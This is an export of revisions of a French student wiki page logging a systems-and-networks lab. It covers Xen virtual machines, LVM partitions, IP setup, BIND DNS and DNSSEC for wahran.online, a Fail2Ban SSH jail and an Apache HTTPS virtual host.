//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier wahran.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 100&lt;br /&gt;
&lt;br /&gt;
@	IN	SOA	ns.wahran.online.	postmaster.wahran.online. (&lt;br /&gt;
	3600	; Version&lt;br /&gt;
	21600	; Refresh secondary	(6h)&lt;br /&gt;
	3600	; Retry secondary	(1h)&lt;br /&gt;
	2592000	; Expire if no refresh	(30 jours)&lt;br /&gt;
	86400	; Negative cache	(24h)&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
; Enregistrements des serveurs de noms&lt;br /&gt;
@	IN	NS	ns.wahran.online.&lt;br /&gt;
@	IN	NS	ns2.alloco.online.&lt;br /&gt;
&lt;br /&gt;
; Enregistrements AAAA (IPv6)&lt;br /&gt;
ns	IN AAAA		2001:660:4401:60a0:216:3eff:fe32:8fa2&lt;br /&gt;
&lt;br /&gt;
: Enregistrements A (IPv4)&lt;br /&gt;
ns	IN A		193.48.57.164&lt;br /&gt;
&lt;br /&gt;
; Enregistrements CNAME&lt;br /&gt;
www	IN CNAME	wahran.online&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/wahran.online# named-checkzone wahran.zone wahran.zone &lt;br /&gt;
zone wahran.zone/IN: loaded serial 3601&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker. Comme le montre cet capture d'écran, la propagation est bien effective dans la zone de Lille avec une adresse IPv6 :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS_Lille.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# ls /etc/bind/keys&lt;br /&gt;
Kwahran.online.+013+17231.key	   Kwahran.online.+013+62188.key&lt;br /&gt;
Kwahran.online.+013+17231.private  Kwahran.online.+013+62188.private&lt;br /&gt;
Kwahran.online.+013+17231.state    Kwahran.online.+013+62188.state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de ns.wahran.online, pour l'instant le site indique une erreur : wahran.online zone: The server(s) were not responsive to queries over UDP.&lt;br /&gt;
&lt;br /&gt;
J'essaye de regler cela.&lt;br /&gt;
&lt;br /&gt;
=Fail2Ban=&lt;br /&gt;
Nous pouvons implémenter une fonctionnalité pour sécuriser notre VM : bannir une IP après plusieurs tentative de connexions ssh raté.&lt;br /&gt;
dans /etc/fail2ban/jail.local nous ajoutons ces options:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enable	= true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter	= sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après 5 tentative de ssh échouée, l'IP en question sera banni 10 minutes:&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/wahran.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/myserver.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (wahran.online) dans le répertoire `/etc/apache2/sites-available/000-wahran.online-ssl.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/sites-available/000-wahran.online-ssl.conf &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        Redirect permanent / https://ns.wahran.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        ServerAlias wahran.online&lt;br /&gt;
        DocumentRoot /var/www/wahran.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/wahran.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/myserver.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lorsque l'on se rend sur h, nous somme redirigé vers .&lt;br /&gt;
&lt;br /&gt;
==Configuration DNS avec DNSSEC==&lt;br /&gt;
Pour la gestion des DNS de mon domaine, j'ai configuré le fichier `/etc/bind/named.conf.local` pour ajouter la zone DNS de `wahran.online` avec une politique DNSSEC, ce qui renforce la sécurité de la gestion de mes enregistrements DNS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/bind/named.conf.local&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02; //IPv6 Proxy&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
masters &amp;quot;hiddensecondaries&amp;quot;{&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;alloco.online&amp;quot;{&lt;br /&gt;
	type slave;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/alloco.online&amp;quot;;&lt;br /&gt;
	masters{2001:660:4401:60a0:216:3eff:fe81:abfe;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12092</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12092"/>
		<updated>2026-02-07T16:23:41Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* VM de service */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.0.1&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
#iface eth0 inet dhcp&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.162/28&lt;br /&gt;
    gateway 193.48.57.161&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après avoir fait un ifdown et un ifup nous pouvons envoyer des pings entre nos VM de service et avec la VM mandataire:&lt;br /&gt;
&lt;br /&gt;
Ping de SE4.Gtr (192.168.0.2) vers SE4.Gyro (192.168.0.3):&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping gyro.png|vignette|center]]&lt;br /&gt;
&lt;br /&gt;
Ping de SE4.Gtr (192.168.0.2) vers SE4.Pegase (192.168.0.1):&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping pegase.png|vignette|center]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search wahran.online&lt;br /&gt;
nameserver 192.168.0.2&lt;br /&gt;
nameserver 192.168.0.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour wahran.online et une zone secondaire pour alloco.online.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier wahran.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 100&lt;br /&gt;
&lt;br /&gt;
@	IN	SOA	ns.wahran.online.	postmaster.wahran.online. (&lt;br /&gt;
	3600	; Version&lt;br /&gt;
	21600	; Refresh secondary	(6h)&lt;br /&gt;
	3600	; Retry secondary	(1h)&lt;br /&gt;
	2592000	; Expire if no refresh	(30 jours)&lt;br /&gt;
	86400	; Negative cache	(24h)&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
; Enregistrements des serveurs de noms&lt;br /&gt;
@	IN	NS	ns.wahran.online.&lt;br /&gt;
@	IN	NS	ns2.alloco.online.&lt;br /&gt;
&lt;br /&gt;
; Enregistrements AAAA (IPv6)&lt;br /&gt;
ns	IN AAAA		2001:660:4401:60a0:216:3eff:fe32:8fa2&lt;br /&gt;
&lt;br /&gt;
: Enregistrements A (IPv4)&lt;br /&gt;
ns	IN A		193.48.57.164&lt;br /&gt;
&lt;br /&gt;
; Enregistrements CNAME&lt;br /&gt;
www	IN CNAME	wahran.online&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/wahran.online# named-checkzone wahran.zone wahran.zone &lt;br /&gt;
zone wahran.zone/IN: loaded serial 3601&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker. Comme le montre cet capture d'écran, la propagation est bien effective dans la zone de Lille avec une adresse IPv6 :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS_Lille.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
